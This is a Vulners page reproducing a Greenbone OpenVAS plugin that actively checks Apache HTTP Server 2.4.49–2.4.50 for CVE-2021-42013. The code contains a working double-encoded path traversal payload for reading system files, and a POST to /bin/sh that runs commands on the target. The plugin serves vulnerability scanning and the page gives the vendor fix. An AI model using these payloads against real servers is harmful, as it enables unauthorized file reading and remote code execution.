Lucene search
+L

Apache HTTP Server 2.4.49 - 2.4.50 Directory Traversal / RCE Vulnerability - Active Check

🗓️ 08 Oct 2021 00:00:00Reported by Copyright (C) 2021 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 55 Views

Apache HTTP Server 2.4.49 - 2.4.50 Directory Traversal / RCE Vulnerability - Active Chec

Related
Refs
Code
# SPDX-FileCopyrightText: 2021 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:apache:http_server";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.146871");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2021-10-08 07:30:53 +0000 (Fri, 08 Oct 2021)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2021-10-15 21:15:00 +0000 (Fri, 15 Oct 2021)");

  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_cve_id("CVE-2021-42013");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Apache HTTP Server 2.4.49 - 2.4.50 Directory Traversal / RCE Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2021 Greenbone AG");
  script_family("Web Servers");
  script_dependencies("gb_apache_http_server_consolidation.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "os_detection.nasl");
  script_mandatory_keys("apache/http_server/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"Apache HTTP Server is prone to a directory traversal
  and a possible remote code execution (RCE) vulnerability.");

  script_tag(name:"vuldetect", value:"Sends multiple crafted HTTP GET/POST requests and checks the
  responses.");

  script_tag(name:"insight", value:"An attacker could use a path traversal attack to map URLs to
  files outside the expected document root.

  If files outside of the document root are not protected by 'require all denied' these requests
  can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts.

  Note: If 'mod_cgi' is enabled this flaw can be also be used by an attacker to achieve remote code
  execution (RCE).");

  script_tag(name:"affected", value:"Apache HTTP Server version 2.4.49 through 2.4.50.");

  script_tag(name:"solution", value:"Update to version 2.4.51 or later.");

  script_xref(name:"URL", value:"https://httpd.apache.org/security/vulnerabilities_24.html");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
  exit(0);

files = traversal_files();
cmds = exploit_commands();

foreach dir (make_list_unique("/", "/cgi-bin", "/icons", http_cgi_dirs(port: port))) {

  if (dir == "/")
    dir = "";

  foreach pattern (keys(files)) {
    url = dir + "/" + crap(length: 9 * 6, data: ".%%32%65/") + files[pattern];

    req = http_get(port: port, item: url);
    res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

    if (egrep(pattern: pattern, string: res)) {
      report = 'It was possible to read "' + files[pattern] + '" through ' +
               http_report_vuln_url(port: port, url: url, url_only: TRUE) + '\n\nResult:\n\n' + res;
      security_message(port: port, data: report);
      exit(0);
    }
  }

  if (os_host_runs("Windows") != "yes") {
    url = dir + "/" + crap(length: 9 * 6, data: ".%%32%65/") + "bin/sh";

    foreach pattern (keys(cmds)) {
      data = "echo;" + cmds[pattern];

      req = http_post(port: port, item: url, data: data);
      res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

      if (egrep(pattern: pattern, string: res)) {
        info['HTTP Method'] = "POST";
        info['Affected URL'] = http_report_vuln_url(port: port, url: url, url_only: TRUE);
        info['HTTP "POST" body'] = data;

        report  = 'By doing the following HTTP request:\n\n';
        report += text_format_table(array: info) + '\n\n';
        report += 'it was possible to execute the "' + cmds[pattern] + '" command on the target host.';
        report += '\n\nResult:\n\n' + res;
        expert_info = 'Request:\n\n' + req + '\n\nResponse:\n\n' + res;
        security_message(port: port, data: report, expert_info: expert_info);
        exit(0);
      }
    }
  }
}

exit(0);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Apr 2025 00:00Current
9.5High risk
Vulners AI Score9.5
CVSS 27.5
CVSS 3.19.8
EPSS0.99964
SSVC
55